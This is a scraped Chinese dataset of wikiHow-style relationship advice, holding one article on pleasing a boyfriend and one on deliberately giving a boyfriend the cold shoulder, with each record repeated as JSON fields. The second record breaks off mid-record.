倾听并不只是安静地坐着。你的确需要给对方时间去整理思绪、组织语言，但让谈话出现停顿和空白的时候，你就要适时说出你自己的见解、疑问和建议。你的反馈会让他知道，你真的有认真听他讲话，并会让他觉得你很重视自己。
1-4. 积极面对人生。
内心的充实富足会在外在言行中体现出来。当你们已经可以毫无障碍地彼此倾吐怨气的时候，你需要做的，就是在对方低沉失落的时候，尽可能地给对方带去朝气与活力。首先，就是让自己的生活变得充实丰富起来——做自己喜欢的事情，保持充足的睡眠，定期进行体育锻炼，保持积极的生活态度等等。如果你们都心情愉快，没有压力的话，你会发现，你们在一起的时光会更有趣哦。
有些含有性别歧视的传统说法认为，无论在什么情况下，女人都要在男人面前表现得心情愉悦。千万不要听信这种说法！的确，保持积极乐观会让你和你周围的人更开心、更融洽，但在自己心情低落的时候，假装自己心情很好的话，就是委屈自己了，而且任何一个合格的男朋友都不会希望自己的女朋友做出这样的牺牲。
1-5. 亲热一些。
偶尔做些亲密行为（当然要事出有因）会让对方（和你）感觉良好，这个方法屡试不爽。亲密行为也是会让对方知道，你到底有多么爱他。适度的亲密行为会让对方知道你的爱意，但多度的亲密行为只会让对方觉得你是个花痴，所以一定要理智一些。所谓亲密行为，不需要真的多么亲密，或是吸引眼球，打个比方，当你走过他身边的时候，“不小心”撞他一下，就很好啊。
1-6. 调情。
大部分男人都喜欢和女生亲近，如果这种亲近再加些挑逗成分就再好不过了。可以试试屡试不爽的老把戏：装作自己很难追。让对方提起一万分的兴致和你暧昧、调情，这会让他提起斗志，并彻底对你沦陷。
要小心隐藏自己的感情，但如果你使用假扮难追的伎俩，还要注意，不要全然隐藏起自己的感情，否则你就永远不会被追到了。你不必时刻把自己的感情隐藏起来，偶尔露出些蛛丝马迹也不错哦。
1-7. 浪漫一些。
我们总是说，男生都很粗线条、实际、不浪漫，而女生则更敏感、善变而浪漫。事实上，真实生活远比这个复杂得多。很多男生可以表现得很浪漫，但也有一大部分男生虽然内心浪漫，但羞于表现出自己多愁善感的一面。大部分男生倾向于搞些浪漫的花样，比如买巧克力，买花等等。你可以用属于你自己的浪漫去颠覆那些陈规旧矩，你的另一半很可能会大受感动呢！
1-8. 深入了解对方。
这很重要。想要讨好对方，就得弄清楚哪一点会直击对方的内心。如果你们彼此不了解，就很难做到真的取悦对方。你要知道对方的小怪癖——哪些事会让他开怀大笑，哪些事他完全无法忍受，哪些事他怕得要死。你们可以分享一些只有你们懂得的玩笑。仅从眼神就能明白对方的感受。你们相处的时间足够长的话，这些事你自然而然就会了解这一切，而且，对方也会如你了解他一样地了解你。
要记得，你越了解某人，就越容易伤害对方。你更加了解对方之后，千万不要利用你的这种了解去做不好的事情。人在暴怒的时候，很容易用最恶毒的言语去伤害对方的软肋。
警告
可能一开始他没办法敞开心扉，你要让他知道，并向他证明，你会一直站在他这边，支持他。
如果你想吸引某个男生的注意力，可以适当调情、适当进行肢体接触、适当微笑，但千万别太过。微妙的暧昧反而会事半功倍哦。
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"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 让他有被需要的感觉。\\n人是社会性的动物。不管是多么孤僻，多么追求内心灵修的人，都需要和他人交流，因为只有如此，才能体会到作为人的完整。人们都希望自己是被需要的，这种被需要的感觉对他们来说也是必须的。如果你想讨好对方，那就从这一步开始吧。依赖他，让他陪你度过困难时期等等，并且让他知道，你有多么珍惜他。但在感情中，是需要寻求某种平衡的——不光你要依赖他，在某种程度上，他也要依赖你才行。\\n1-2. 争取让你们之间的关系变得坦白、诚实和平等。\\n虽然男生的自我防御心很强，但他们还是希望能向某人倾诉自己的感情。男生需要时间来适应，然后一点点卸下心防，如果你的他还无法与你坦诚相见，那么至少让他知道，如果他想，你随时欢迎他的各种倾诉。他可能没办法立即向你倾吐些什么，但如果他真的迈出这一步，那么他会非常感激有你这样一个人，能让他卸下所有心防与顾虑。\\n我们更倾向于对有相似经历和相似感受的人敞开心扉。所以，你可以试着和对方分享一些你的经历，分担一些责任，聊聊天什么的，这样可以增加彼此间的信任程度，随着信任程度的增加，你们聊天的内容也就可以更加深入了。\\n即使在最亲密的关系中，自己内心的阴暗面和情感中的问题也不是时时都能聊起——你能想象，如果我们一一坦承，我们做过这么多不好的事情，有这么多邪恶的想法之后，这段关系还要如何维系下去呢？千万不要强迫对方描述他不愿提及的细节。尽管很多情侣都希望彼此坦承相待，但这并不意味着双方随时都有心情聊不好的事。\\n1-3. 倾听。\\n男生都希望自己被认真对待。正是因为很多男生在和朋友或家人沟通时遇到了障碍，他们才更希望被认真对待，当对方对你敞开心扉的时候，你一定要对他表现出关心。当然，你不必认真抓住日常谈话中的每个细节，但如果对方向你倾诉一些重要的事情，你一定要全神贯注地倾听。挨着对方坐，做说话的时候看着对方的眼睛。这样一来，他就能体会到你对他的关心和尊重，而在你需要某人听你倾诉的时候，他也会以同样的态度来对待你。\\n倾听并不只是安静地坐着。你的确需要给对方时间去整理思绪、组织语言，但让谈话出现停顿和空白的时候，你就要适时说出你自己的见解、疑问和建议。你的反馈会让他知道，你真的有认真听他讲话，并会让他觉得你很重视自己。\\n1-4. 积极面对人生。\\n内心的充实富足会在外在言行中体现出来。当你们已经可以毫无障碍地彼此倾吐怨气的时候，你需要做的，就是在对方低沉失落的时候，尽可能地给对方带去朝气与活力。首先，就是让自己的生活变得充实丰富起来——做自己喜欢的事情，保持充足的睡眠，定期进行体育锻炼，保持积极的生活态度等等。如果你们都心情愉快，没有压力的话，你会发现，你们在一起的时光会更有趣哦。\\n有些含有性别歧视的传统说法认为，无论在什么情况下，女人都要在男人面前表现得心情愉悦。千万不要听信这种说法！的确，保持积极乐观会让你和你周围的人更开心、更融洽，但在自己心情低落的时候，假装自己心情很好的话，就是委屈自己了，而且任何一个合格的男朋友都不会希望自己的女朋友做出这样的牺牲。\\n1-5. 亲热一些。\\n偶尔做些亲密行为（当然要事出有因）会让对方（和你）感觉良好，这个方法屡试不爽。亲密行为也是会让对方知道，你到底有多么爱他。适度的亲密行为会让对方知道你的爱意，但多度的亲密行为只会让对方觉得你是个花痴，所以一定要理智一些。所谓亲密行为，不需要真的多么亲密，或是吸引眼球，打个比方，当你走过他身边的时候，“不小心”撞他一下，就很好啊。\\n1-6. 调情。\\n大部分男人都喜欢和女生亲近，如果这种亲近再加些挑逗成分就再好不过了。可以试试屡试不爽的老把戏：装作自己很难追。让对方提起一万分的兴致和你暧昧、调情，这会让他提起斗志，并彻底对你沦陷。\\n要小心隐藏自己的感情，但如果你使用假扮难追的伎俩，还要注意，不要全然隐藏起自己的感情，否则你就永远不会被追到了。你不必时刻把自己的感情隐藏起来，偶尔露出些蛛丝马迹也不错哦。\\n1-7. 浪漫一些。\\n我们总是说，男生都很粗线条、实际、不浪漫，而女生则更敏感、善变而浪漫。事实上，真实生活远比这个复杂得多。很多男生可以表现得很浪漫，但也有一大部分男生虽然内心浪漫，但羞于表现出自己多愁善感的一面。大部分男生倾向于搞些浪漫的花样，比如买巧克力，买花等等。你可以用属于你自己的浪漫去颠覆那些陈规旧矩，你的另一半很可能会大受感动呢！\\n1-8. 深入了解对方。\\n这很重要。想要讨好对方，就得弄清楚哪一点会直击对方的内心。如果你们彼此不了解，就很难做到真的取悦对方。你要知道对方的小怪癖——哪些事会让他开怀大笑，哪些事他完全无法忍受，哪些事他怕得要死。你们可以分享一些只有你们懂得的玩笑。仅从眼神就能明白对方的感受。你们相处的时间足够长的话，这些事你自然而然就会了解这一切，而且，对方也会如你了解他一样地了解你。\\n要记得，你越了解某人，就越容易伤害对方。你更加了解对方之后，千万不要利用你的这种了解去做不好的事情。人在暴怒的时候，很容易用最恶毒的言语去伤害对方的软肋。\\n警告\\n可能一开始他没办法敞开心扉，你要让他知道，并向他证明，你会一直站在他这边，支持他。\\n如果你想吸引某个男生的注意力，可以适当调情、适当进行肢体接触、适当微笑，但千万别太过。微妙的暧昧反而会事半功倍哦。\\n\", \"简要回答\": \"有时候男人心也是很难捉摸的，他们总不愿意坦率地说出自己的感受，即使他们说了，你也很难明白他们说的是真是假。的确，男生总是对自己的感受守口如瓶。但如果你真的很关心某个男生，那么这一点对你来说就很悲剧了。因为，如果他不肯如实地告诉你他的需求和感受，你就不知道如何讨好他。但值得庆幸的是，有些东西男生都很爱——就从步骤一开始学起吧！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"让他有被需要的感觉。\", \"描述\": \"人是社会性的动物。不管是多么孤僻，多么追求内心灵修的人，都需要和他人交流，因为只有如此，才能体会到作为人的完整。人们都希望自己是被需要的，这种被需要的感觉对他们来说也是必须的。如果你想讨好对方，那就从这一步开始吧。依赖他，让他陪你度过困难时期等等，并且让他知道，你有多么珍惜他。但在感情中，是需要寻求某种平衡的——不光你要依赖他，在某种程度上，他也要依赖你才行。\"}, {\"编号\": 2, \"标题\": \"争取让你们之间的关系变得坦白、诚实和平等。\", \"描述\": \"虽然男生的自我防御心很强，但他们还是希望能向某人倾诉自己的感情。男生需要时间来适应，然后一点点卸下心防，如果你的他还无法与你坦诚相见，那么至少让他知道，如果他想，你随时欢迎他的各种倾诉。他可能没办法立即向你倾吐些什么，但如果他真的迈出这一步，那么他会非常感激有你这样一个人，能让他卸下所有心防与顾虑。\\n我们更倾向于对有相似经历和相似感受的人敞开心扉。所以，你可以试着和对方分享一些你的经历，分担一些责任，聊聊天什么的，这样可以增加彼此间的信任程度，随着信任程度的增加，你们聊天的内容也就可以更加深入了。\\n即使在最亲密的关系中，自己内心的阴暗面和情感中的问题也不是时时都能聊起——你能想象，如果我们一一坦承，我们做过这么多不好的事情，有这么多邪恶的想法之后，这段关系还要如何维系下去呢？千万不要强迫对方描述他不愿提及的细节。尽管很多情侣都希望彼此坦承相待，但这并不意味着双方随时都有心情聊不好的事。\"}, {\"编号\": 3, \"标题\": \"倾听。\", \"描述\": \"男生都希望自己被认真对待。正是因为很多男生在和朋友或家人沟通时遇到了障碍，他们才更希望被认真对待，当对方对你敞开心扉的时候，你一定要对他表现出关心。当然，你不必认真抓住日常谈话中的每个细节，但如果对方向你倾诉一些重要的事情，你一定要全神贯注地倾听。挨着对方坐，做说话的时候看着对方的眼睛。这样一来，他就能体会到你对他的关心和尊重，而在你需要某人听你倾诉的时候，他也会以同样的态度来对待你。\\n倾听并不只是安静地坐着。你的确需要给对方时间去整理思绪、组织语言，但让谈话出现停顿和空白的时候，你就要适时说出你自己的见解、疑问和建议。你的反馈会让他知道，你真的有认真听他讲话，并会让他觉得你很重视自己。\"}, {\"编号\": 4, \"标题\": \"积极面对人生。\", \"描述\": \"内心的充实富足会在外在言行中体现出来。当你们已经可以毫无障碍地彼此倾吐怨气的时候，你需要做的，就是在对方低沉失落的时候，尽可能地给对方带去朝气与活力。首先，就是让自己的生活变得充实丰富起来——做自己喜欢的事情，保持充足的睡眠，定期进行体育锻炼，保持积极的生活态度等等。如果你们都心情愉快，没有压力的话，你会发现，你们在一起的时光会更有趣哦。\\n有些含有性别歧视的传统说法认为，无论在什么情况下，女人都要在男人面前表现得心情愉悦。千万不要听信这种说法！的确，保持积极乐观会让你和你周围的人更开心、更融洽，但在自己心情低落的时候，假装自己心情很好的话，就是委屈自己了，而且任何一个合格的男朋友都不会希望自己的女朋友做出这样的牺牲。\"}, {\"编号\": 5, \"标题\": \"亲热一些。\", \"描述\": \"偶尔做些亲密行为（当然要事出有因）会让对方（和你）感觉良好，这个方法屡试不爽。亲密行为也是会让对方知道，你到底有多么爱他。适度的亲密行为会让对方知道你的爱意，但多度的亲密行为只会让对方觉得你是个花痴，所以一定要理智一些。所谓亲密行为，不需要真的多么亲密，或是吸引眼球，打个比方，当你走过他身边的时候，“不小心”撞他一下，就很好啊。\"}, {\"编号\": 6, \"标题\": \"调情。\", \"描述\": \"大部分男人都喜欢和女生亲近，如果这种亲近再加些挑逗成分就再好不过了。可以试试屡试不爽的老把戏：装作自己很难追。让对方提起一万分的兴致和你暧昧、调情，这会让他提起斗志，并彻底对你沦陷。\\n要小心隐藏自己的感情，但如果你使用假扮难追的伎俩，还要注意，不要全然隐藏起自己的感情，否则你就永远不会被追到了。你不必时刻把自己的感情隐藏起来，偶尔露出些蛛丝马迹也不错哦。\"}, {\"编号\": 7, \"标题\": \"浪漫一些。\", \"描述\": \"我们总是说，男生都很粗线条、实际、不浪漫，而女生则更敏感、善变而浪漫。事实上，真实生活远比这个复杂得多。很多男生可以表现得很浪漫，但也有一大部分男生虽然内心浪漫，但羞于表现出自己多愁善感的一面。大部分男生倾向于搞些浪漫的花样，比如买巧克力，买花等等。你可以用属于你自己的浪漫去颠覆那些陈规旧矩，你的另一半很可能会大受感动呢！\"}, {\"编号\": 8, \"标题\": \"深入了解对方。\", \"描述\": \"这很重要。想要讨好对方，就得弄清楚哪一点会直击对方的内心。如果你们彼此不了解，就很难做到真的取悦对方。你要知道对方的小怪癖——哪些事会让他开怀大笑，哪些事他完全无法忍受，哪些事他怕得要死。你们可以分享一些只有你们懂得的玩笑。仅从眼神就能明白对方的感受。你们相处的时间足够长的话，这些事你自然而然就会了解这一切，而且，对方也会如你了解他一样地了解你。\\n要记得，你越了解某人，就越容易伤害对方。你更加了解对方之后，千万不要利用你的这种了解去做不好的事情。人在暴怒的时候，很容易用最恶毒的言语去伤害对方的软肋。\"}], \"注意事项\": [\"可能一开始他没办法敞开心扉，你要让他知道，并向他证明，你会一直站在他这边，支持他。\\n\", \"如果你想吸引某个男生的注意力，可以适当调情、适当进行肢体接触、适当微笑，但千万别太过。微妙的暧昧反而会事半功倍哦。\\n\"]}]}}",
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14,716 | 如何冷落你的男友 | 1. 分析现状
1-1. 分析你们之间存在的问题。
他的所做作为是从什么时候开始惹你心烦的？你的行为又对事态产生了怎样的影响？
他情绪波动的那段时间，是否刚好是他学业最繁重或工作最紧张的一周？还是说他近几个月来一直表现得很奇怪？他的心不在焉也许和他对你的感情没有任何关系，而是面对压力或不安产生的情绪反应。
你对男友是否期望值过高？你的短信是否堆满了他的收件箱？你总是不停地询问或查看他的近况吗？又或者你一直保持耐心、冷静和信任？为了维持这段感情，你是你俩当中唯一不断付出努力的一方吗？
1-2. 反思你的感受。
问问自己为什么想要冷落男友。你们俩吵架了吗？他没有尝试和你沟通吗？为什么他的行为或者不作为让你如此生气？只有你努力在维系这段感情吗？记住，你会感到不安、伤心、愤怒或者被忽视，所有这些情绪都是正常的。
用日记记录你的感受。
和信任的人谈谈你的感受。试着和最好的朋友一边喝着咖啡，一边倾吐你的喜怒哀乐。
1-3. 找男友好好聊聊。
跟他聊聊你的感受和担忧。发表看法时，尽量以“我”作为句子的主语，而不是以“你”开头指责对方。不要打断他的话，听他怎么回答。如果他对你的担忧依然表现出逃避或无所谓的态度，那就没什么好说的了，直接采取行动吧。
为你的感受负责。以“我”为句子的主语发表看法，比如：“我觉得受到了冷落“，”我很担心这段感情”，“我觉得很伤心，因为你宁愿和朋友出去玩也不愿意花时间陪我”。
避免用“你”开头发表看法，这样相当于把过错完全归结到对方身上。错误的说法包括：“你不理睬我”，“你一点也不在乎我们的感情”，以及“你从来都不想见到我”。
2. 重新安排时间
2-1. 给大家一些空间。
不要时时刻刻和他黏在一起！有意地和他分开一段时间，并限制自己和他见面的时间。这么做也许会让他想念你！
让自己忙碌起来。如果你们住在一起，不要让他成为你生活的重心。尝试阅读、跑步、烹饪、做清洁……不管做什么，你的目的只是为了娱乐自己，而不是引起他的注意。
别每晚都赖在他的家里。一周之中抽几个晚上自娱自乐。只有当你不在的时候，他才会意识到自己有多想你。
2-2. 重新投入到工作或兴趣爱好。
现在你有了空余时间，何不趁机处理你的工作，或尝试新的兴趣爱好呢？用各种新鲜的活动充实你的生活，或者定下新的工作目标。这样一来，你会觉得和男友暂时分开其实并不难。
集中精力出色地完成某项工作。你可以开始一个新项目或承担额外的责任。
用空闲时间制作剪贴簿，参加新俱乐部的活动，或从事一项运动。如果你能找到既能充实空余时间，又能借此结识新朋友的活动，那就再好不过了！
积极主动些！报名参加当地的健身房或者探索新的登山路径。
花时间参加户外活动。你可以去海滩散心，或者躺在树下读本好书，放松身心。
2-3. 和朋友或家人共度美好时光。
不要一个人呆坐在家里，和朋友一起外出或者陪陪家人吧！你可以约上几个好姐妹，去市里狂欢一晚，或者安排一次探亲之旅。用各种有趣的聚会、心血来潮的冒险和轻松的郊游填满你的日程。当你忙着和朋友或家人叙旧玩乐时，自然想不起和男友之间的那些烦心事了。
和朋友一起参观当地的美术馆。
邀请亲近的家庭成员到你家吃晚饭。
主办一场主题派对。
3. 改变肢体语言
3-1. 只让他吻你的脸颊。
当你们去市里约会时，注意不要在公共场合亲热。你要像对待朋友一样对待你的男友。如果他凑近，打算亲吻你的嘴唇，你要转到一边，让他只能吻到你的脸颊。当他伸手想要握住你的手时，把手放进衣服口袋。
不要挑逗他，或是在大庭广众之下主动和他亲热。不论你多想轻抚他宽阔的脊背，或者将头靠在他的肩膀上，都要抑制住这种冲动。
3-2. 离他远一些。
拉开你们之间的距离。当他坐在沙发上，你不能挨着他坐下来，而要坐得远一些，或者坐到别的椅子上。晚上的时候，你也要有意识地远离他。
睡觉时不要从背后拥抱对方。
如果你们在一起上课，不要和他坐在同一排。
只要身体上和他保持距离，就更容易避免他靠近。即使你有主动接触的想法，也不太容易实现。
3-3. 尽量避免眼神的交流。
在公共场合碰面时，不要注视他的双眼。你的目光应该看向远处。试着看天空，看地面，四处看看，反正就是别看他！
别背对着他，这样你就看不到他的反应了。让他保持在你的视野之内，用眼角的余光观察他。
4. 减少你们之间的交流
4-1. 不要主动联系他。
别给他打电话或发短信。这次，让他主动联系你。如果你实在想要联系他，就给朋友打电话，约她一起看电影或者吃饭。
只有在万不得已的时候，你才能给男友打电话！
避免在社交媒体上和他有任何的接触。如果你非常想和他网聊，就暂时退出所有的社交网站，或者将他屏蔽。
4-2. 不要接他的电话或读他的短信。
当他给你打电话时，装作没听到！他的来电会自动转到语音留言。就算你的收件箱里塞满了他的短信，也不要回复。这回，也让他尝尝苦苦等待的滋味！
不要动不动就查看手机。把手机放在其它房间，关机，或者调成静音模式。
把手机交给朋友或家人保管。
如果他试图通过社交媒体联系你，不要搭理他。不要回复他的微信，或者在他的评论下方留言。有必要的话，把他暂时屏蔽。
4-3. 言简意赅地回复他。
和男友说话时，尽量回答得简短一些。当他问你问题时，用几个字回答就可以了，没必要说得太详细。不要问他过得如何，或者这周有什么打算。你要给他留下漠不关心的印象。
用点头或耸肩作为回答。
你的回答要尽量简短，最好能一两个字搞定，比如“是”、“不是”、“好”、“可以”。
| {
"create_time": "20230517 11:02:17",
"回答明细": "{\"回答\": \"1. 分析现状\\n1-1. 分析你们之间存在的问题。\\n他的所做作为是从什么时候开始惹你心烦的？你的行为又对事态产生了怎样的影响？\\n他情绪波动的那段时间，是否刚好是他学业最繁重或工作最紧张的一周？还是说他近几个月来一直表现得很奇怪？他的心不在焉也许和他对你的感情没有任何关系，而是面对压力或不安产生的情绪反应。\\n你对男友是否期望值过高？你的短信是否堆满了他的收件箱？你总是不停地询问或查看他的近况吗？又或者你一直保持耐心、冷静和信任？为了维持这段感情，你是你俩当中唯一不断付出努力的一方吗？\\n1-2. 反思你的感受。\\n问问自己为什么想要冷落男友。你们俩吵架了吗？他没有尝试和你沟通吗？为什么他的行为或者不作为让你如此生气？只有你努力在维系这段感情吗？记住，你会感到不安、伤心、愤怒或者被忽视，所有这些情绪都是正常的。\\n用日记记录你的感受。\\n和信任的人谈谈你的感受。试着和最好的朋友一边喝着咖啡，一边倾吐你的喜怒哀乐。\\n1-3. 找男友好好聊聊。\\n跟他聊聊你的感受和担忧。发表看法时，尽量以“我”作为句子的主语，而不是以“你”开头指责对方。不要打断他的话，听他怎么回答。如果他对你的担忧依然表现出逃避或无所谓的态度，那就没什么好说的了，直接采取行动吧。\\n为你的感受负责。以“我”为句子的主语发表看法，比如：“我觉得受到了冷落“，”我很担心这段感情”，“我觉得很伤心，因为你宁愿和朋友出去玩也不愿意花时间陪我”。\\n避免用“你”开头发表看法，这样相当于把过错完全归结到对方身上。错误的说法包括：“你不理睬我”，“你一点也不在乎我们的感情”，以及“你从来都不想见到我”。\\n2. 重新安排时间\\n2-1. 给大家一些空间。\\n不要时时刻刻和他黏在一起！有意地和他分开一段时间，并限制自己和他见面的时间。这么做也许会让他想念你！\\n让自己忙碌起来。如果你们住在一起，不要让他成为你生活的重心。尝试阅读、跑步、烹饪、做清洁……不管做什么，你的目的只是为了娱乐自己，而不是引起他的注意。\\n别每晚都赖在他的家里。一周之中抽几个晚上自娱自乐。只有当你不在的时候，他才会意识到自己有多想你。\\n2-2. 重新投入到工作或兴趣爱好。\\n现在你有了空余时间，何不趁机处理你的工作，或尝试新的兴趣爱好呢？用各种新鲜的活动充实你的生活，或者定下新的工作目标。这样一来，你会觉得和男友暂时分开其实并不难。\\n集中精力出色地完成某项工作。你可以开始一个新项目或承担额外的责任。\\n用空闲时间制作剪贴簿，参加新俱乐部的活动，或从事一项运动。如果你能找到既能充实空余时间，又能借此结识新朋友的活动，那就再好不过了！\\n积极主动些！报名参加当地的健身房或者探索新的登山路径。\\n花时间参加户外活动。你可以去海滩散心，或者躺在树下读本好书，放松身心。\\n2-3. 和朋友或家人共度美好时光。\\n不要一个人呆坐在家里，和朋友一起外出或者陪陪家人吧！你可以约上几个好姐妹，去市里狂欢一晚，或者安排一次探亲之旅。用各种有趣的聚会、心血来潮的冒险和轻松的郊游填满你的日程。当你忙着和朋友或家人叙旧玩乐时，自然想不起和男友之间的那些烦心事了。\\n和朋友一起参观当地的美术馆。\\n邀请亲近的家庭成员到你家吃晚饭。\\n主办一场主题派对。\\n3. 改变肢体语言\\n3-1. 只让他吻你的脸颊。\\n当你们去市里约会时，注意不要在公共场合亲热。你要像对待朋友一样对待你的男友。如果他凑近，打算亲吻你的嘴唇，你要转到一边，让他只能吻到你的脸颊。当他伸手想要握住你的手时，把手放进衣服口袋。\\n不要挑逗他，或是在大庭广众之下主动和他亲热。不论你多想轻抚他宽阔的脊背，或者将头靠在他的肩膀上，都要抑制住这种冲动。\\n3-2. 离他远一些。\\n拉开你们之间的距离。当他坐在沙发上，你不能挨着他坐下来，而要坐得远一些，或者坐到别的椅子上。晚上的时候，你也要有意识地远离他。\\n睡觉时不要从背后拥抱对方。\\n如果你们在一起上课，不要和他坐在同一排。\\n只要身体上和他保持距离，就更容易避免他靠近。即使你有主动接触的想法，也不太容易实现。\\n3-3. 尽量避免眼神的交流。\\n在公共场合碰面时，不要注视他的双眼。你的目光应该看向远处。试着看天空，看地面，四处看看，反正就是别看他！\\n别背对着他，这样你就看不到他的反应了。让他保持在你的视野之内，用眼角的余光观察他。\\n4. 减少你们之间的交流\\n4-1. 不要主动联系他。\\n别给他打电话或发短信。这次，让他主动联系你。如果你实在想要联系他，就给朋友打电话，约她一起看电影或者吃饭。\\n只有在万不得已的时候，你才能给男友打电话！\\n避免在社交媒体上和他有任何的接触。如果你非常想和他网聊，就暂时退出所有的社交网站，或者将他屏蔽。\\n4-2. 不要接他的电话或读他的短信。\\n当他给你打电话时，装作没听到！他的来电会自动转到语音留言。就算你的收件箱里塞满了他的短信，也不要回复。这回，也让他尝尝苦苦等待的滋味！ \\n不要动不动就查看手机。把手机放在其它房间，关机，或者调成静音模式。\\n把手机交给朋友或家人保管。\\n如果他试图通过社交媒体联系你，不要搭理他。不要回复他的微信，或者在他的评论下方留言。有必要的话，把他暂时屏蔽。\\n4-3. 言简意赅地回复他。\\n和男友说话时，尽量回答得简短一些。当他问你问题时，用几个字回答就可以了，没必要说得太详细。不要问他过得如何，或者这周有什么打算。你要给他留下漠不关心的印象。\\n用点头或耸肩作为回答。\\n你的回答要尽量简短，最好能一两个字搞定，比如“是”、“不是”、“好”、“可以”。\\n\", \"简要回答\": \"任何感情都会经历高低起伏。也许你和男友正吵得不可开交，也许他不再和你有任何情感上的交流。如果谈话已经解决不了问题，何不另辟蹊径？有时，你可能需要和另一半保持距离，甚至有意地冷落他！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"分析现状\", \"步骤\": [{\"编号\": 1, \"标题\": \"分析你们之间存在的问题。\", \"描述\": \"他的所做作为是从什么时候开始惹你心烦的？你的行为又对事态产生了怎样的影响？\\n他情绪波动的那段时间，是否刚好是他学业最繁重或工作最紧张的一周？还是说他近几个月来一直表现得很奇怪？他的心不在焉也许和他对你的感情没有任何关系，而是面对压力或不安产生的情绪反应。\\n你对男友是否期望值过高？你的短信是否堆满了他的收件箱？你总是不停地询问或查看他的近况吗？又或者你一直保持耐心、冷静和信任？为了维持这段感情，你是你俩当中唯一不断付出努力的一方吗？\"}, {\"编号\": 2, \"标题\": \"反思你的感受。\", \"描述\": \"问问自己为什么想要冷落男友。你们俩吵架了吗？他没有尝试和你沟通吗？为什么他的行为或者不作为让你如此生气？只有你努力在维系这段感情吗？记住，你会感到不安、伤心、愤怒或者被忽视，所有这些情绪都是正常的。\\n用日记记录你的感受。\\n和信任的人谈谈你的感受。试着和最好的朋友一边喝着咖啡，一边倾吐你的喜怒哀乐。\"}, {\"编号\": 3, \"标题\": \"找男友好好聊聊。\", \"描述\": \"跟他聊聊你的感受和担忧。发表看法时，尽量以“我”作为句子的主语，而不是以“你”开头指责对方。不要打断他的话，听他怎么回答。如果他对你的担忧依然表现出逃避或无所谓的态度，那就没什么好说的了，直接采取行动吧。\\n为你的感受负责。以“我”为句子的主语发表看法，比如：“我觉得受到了冷落“，”我很担心这段感情”，“我觉得很伤心，因为你宁愿和朋友出去玩也不愿意花时间陪我”。\\n避免用“你”开头发表看法，这样相当于把过错完全归结到对方身上。错误的说法包括：“你不理睬我”，“你一点也不在乎我们的感情”，以及“你从来都不想见到我”。\"}]}, {\"编号\": 2, \"标题\": \"重新安排时间\", \"步骤\": [{\"编号\": 1, \"标题\": \"给大家一些空间。\", \"描述\": \"不要时时刻刻和他黏在一起！有意地和他分开一段时间，并限制自己和他见面的时间。这么做也许会让他想念你！\\n让自己忙碌起来。如果你们住在一起，不要让他成为你生活的重心。尝试阅读、跑步、烹饪、做清洁……不管做什么，你的目的只是为了娱乐自己，而不是引起他的注意。\\n别每晚都赖在他的家里。一周之中抽几个晚上自娱自乐。只有当你不在的时候，他才会意识到自己有多想你。\"}, {\"编号\": 2, \"标题\": \"重新投入到工作或兴趣爱好。\", \"描述\": \"现在你有了空余时间，何不趁机处理你的工作，或尝试新的兴趣爱好呢？用各种新鲜的活动充实你的生活，或者定下新的工作目标。这样一来，你会觉得和男友暂时分开其实并不难。\\n集中精力出色地完成某项工作。你可以开始一个新项目或承担额外的责任。\\n用空闲时间制作剪贴簿，参加新俱乐部的活动，或从事一项运动。如果你能找到既能充实空余时间，又能借此结识新朋友的活动，那就再好不过了！\\n积极主动些！报名参加当地的健身房或者探索新的登山路径。\\n花时间参加户外活动。你可以去海滩散心，或者躺在树下读本好书，放松身心。\"}, {\"编号\": 3, \"标题\": \"和朋友或家人共度美好时光。\", \"描述\": \"不要一个人呆坐在家里，和朋友一起外出或者陪陪家人吧！你可以约上几个好姐妹，去市里狂欢一晚，或者安排一次探亲之旅。用各种有趣的聚会、心血来潮的冒险和轻松的郊游填满你的日程。当你忙着和朋友或家人叙旧玩乐时，自然想不起和男友之间的那些烦心事了。\\n和朋友一起参观当地的美术馆。\\n邀请亲近的家庭成员到你家吃晚饭。\\n主办一场主题派对。\"}]}, {\"编号\": 3, \"标题\": \"改变肢体语言\", \"步骤\": [{\"编号\": 1, \"标题\": \"只让他吻你的脸颊。\", \"描述\": \"当你们去市里约会时，注意不要在公共场合亲热。你要像对待朋友一样对待你的男友。如果他凑近，打算亲吻你的嘴唇，你要转到一边，让他只能吻到你的脸颊。当他伸手想要握住你的手时，把手放进衣服口袋。\\n不要挑逗他，或是在大庭广众之下主动和他亲热。不论你多想轻抚他宽阔的脊背，或者将头靠在他的肩膀上，都要抑制住这种冲动。\"}, {\"编号\": 2, \"标题\": \"离他远一些。\", \"描述\": \"拉开你们之间的距离。当他坐在沙发上，你不能挨着他坐下来，而要坐得远一些，或者坐到别的椅子上。晚上的时候，你也要有意识地远离他。\\n睡觉时不要从背后拥抱对方。\\n如果你们在一起上课，不要和他坐在同一排。\\n只要身体上和他保持距离，就更容易避免他靠近。即使你有主动接触的想法，也不太容易实现。\"}, {\"编号\": 3, \"标题\": \"尽量避免眼神的交流。\", \"描述\": \"在公共场合碰面时，不要注视他的双眼。你的目光应该看向远处。试着看天空，看地面，四处看看，反正就是别看他！\\n别背对着他，这样你就看不到他的反应了。让他保持在你的视野之内，用眼角的余光观察他。\"}]}, {\"编号\": 4, \"标题\": \"减少你们之间的交流\", \"步骤\": [{\"编号\": 1, \"标题\": \"不要主动联系他。\", \"描述\": \"别给他打电话或发短信。这次，让他主动联系你。如果你实在想要联系他，就给朋友打电话，约她一起看电影或者吃饭。\\n只有在万不得已的时候，你才能给男友打电话！\\n避免在社交媒体上和他有任何的接触。如果你非常想和他网聊，就暂时退出所有的社交网站，或者将他屏蔽。\"}, {\"编号\": 2, \"标题\": \"不要接他的电话或读他的短信。\", \"描述\": \"当他给你打电话时，装作没听到！他的来电会自动转到语音留言。就算你的收件箱里塞满了他的短信，也不要回复。这回，也让他尝尝苦苦等待的滋味！ \\n不要动不动就查看手机。把手机放在其它房间，关机，或者调成静音模式。\\n把手机交给朋友或家人保管。\\n如果他试图通过社交媒体联系你，不要搭理他。不要回复他的微信，或者在他的评论下方留言。有必要的话，把他暂时屏蔽。\"}, {\"编号\": 3, \"标题\": \"言简意赅地回复他。\", \"描述\": 